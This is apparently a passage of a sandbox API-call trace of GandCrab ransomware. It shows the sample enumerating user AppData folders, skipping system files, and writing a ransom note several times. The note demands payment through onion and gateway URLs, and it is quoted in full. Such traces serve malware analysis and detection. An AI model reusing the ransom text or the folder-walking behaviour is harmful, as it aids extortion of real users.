http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.751] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.752] CloseHandle (hObject=0x4f8) returned 1 [0054.752] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.752] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\") returned 55 [0054.752] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*" [0054.752] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b85b0 [0054.752] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.752] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.752] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.752] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.752] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.752] lstrcmpW (lpString1="CUSTOM.DIC", lpString2=".") returned 1 [0054.752] lstrcmpW (lpString1="CUSTOM.DIC", lpString2="..") returned 1 [0054.752] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="CUSTOM.DIC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" [0054.752] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.753] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned 65 [0054.753] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned 65 [0054.753] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.753] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.753] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.753] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.753] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\GDCB-DECRYPT.txt" [0054.753] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.753] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\GDCB-DECRYPT.txt") returned 71 [0054.753] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\GDCB-DECRYPT.txt") returned 71 [0054.753] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\GDCB-DECRYPT.txt") returned 71 [0054.753] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\GDCB-DECRYPT.txt") returned 71 [0054.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.753] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.753] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.753] FindClose (in: hFindFile=0x5b85b0 | out: hFindFile=0x5b85b0) returned 1 [0054.753] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.753] lstrcmpW (lpString1="Vault", lpString2=".") returned 1 [0054.753] lstrcmpW (lpString1="Vault", lpString2="..") returned 1 [0054.753] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Vault" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault" [0054.754] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\" [0054.754] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.754] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.754] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\") returned 54 [0054.754] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*" [0054.754] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b8870 [0054.754] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.754] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.754] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.754] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.754] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.755] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0054.755] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.755] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\\\GDCB-DECRYPT.txt") returned 71 [0054.755] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\vault\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.756] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.756] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.756] CloseHandle (hObject=0x4f8) returned 1 [0054.756] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.756] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\") returned 54 [0054.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*" [0054.757] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b85b0 [0054.757] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.757] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.757] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.757] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.757] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.757] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.757] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\GDCB-DECRYPT.txt" [0054.757] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.757] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\GDCB-DECRYPT.txt") returned 70 [0054.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\GDCB-DECRYPT.txt") returned 70 [0054.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\GDCB-DECRYPT.txt") returned 70 [0054.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\GDCB-DECRYPT.txt") returned 70 [0054.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.757] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.757] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.757] FindClose (in: hFindFile=0x5b85b0 | out: hFindFile=0x5b85b0) returned 1 [0054.757] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.757] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0054.757] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0054.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Windows" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" [0054.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\" [0054.757] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.758] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.758] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.758] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.758] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.758] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\") returned 56 [0054.758] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\*" [0054.758] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b8870 [0054.758] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.758] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.758] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.758] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.758] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.758] lstrcmpW (lpString1="AccountPictures", lpString2=".") returned 1 [0054.758] lstrcmpW (lpString1="AccountPictures", lpString2="..") returned 1 [0054.758] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="AccountPictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures" [0054.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures") returned 71 [0054.758] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.758] lstrcmpW (lpString1="Libraries", lpString2=".") returned 1 [0054.758] lstrcmpW (lpString1="Libraries", lpString2="..") returned 1 [0054.758] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Libraries" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0054.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 65 [0054.758] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.758] lstrcmpW (lpString1="Network Shortcuts", lpString2=".") returned 1 [0054.758] lstrcmpW (lpString1="Network Shortcuts", lpString2="..") returned 1 [0054.758] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Network Shortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" [0054.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts") returned 73 [0054.758] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.758] lstrcmpW (lpString1="Printer Shortcuts", lpString2=".") returned 1 [0054.758] lstrcmpW (lpString1="Printer Shortcuts", lpString2="..") returned 1 [0054.758] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Printer Shortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts" [0054.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 73 [0054.758] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.758] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0054.758] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0054.758] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0054.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 62 [0054.758] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.758] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0054.758] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0054.758] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo" [0054.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo") returned 62 [0054.759] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.759] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0054.759] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0054.759] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu" [0054.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 66 [0054.759] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.759] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0054.759] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0054.759] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates" [0054.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates") returned 65 [0054.759] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.759] lstrcmpW (lpString1="Themes", lpString2=".") returned 1 [0054.759] lstrcmpW (lpString1="Themes", lpString2="..") returned 1 [0054.759] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes" [0054.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes") returned 62 [0054.759] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.759] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0054.759] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.759] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\\\GDCB-DECRYPT.txt") returned 73 [0054.759] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.759] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.759] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.760] CloseHandle (hObject=0x4f8) returned 1 [0054.760] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\") returned 56 [0054.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\*" [0054.760] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b85b0 [0054.760] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.760] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.760] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.760] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.760] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 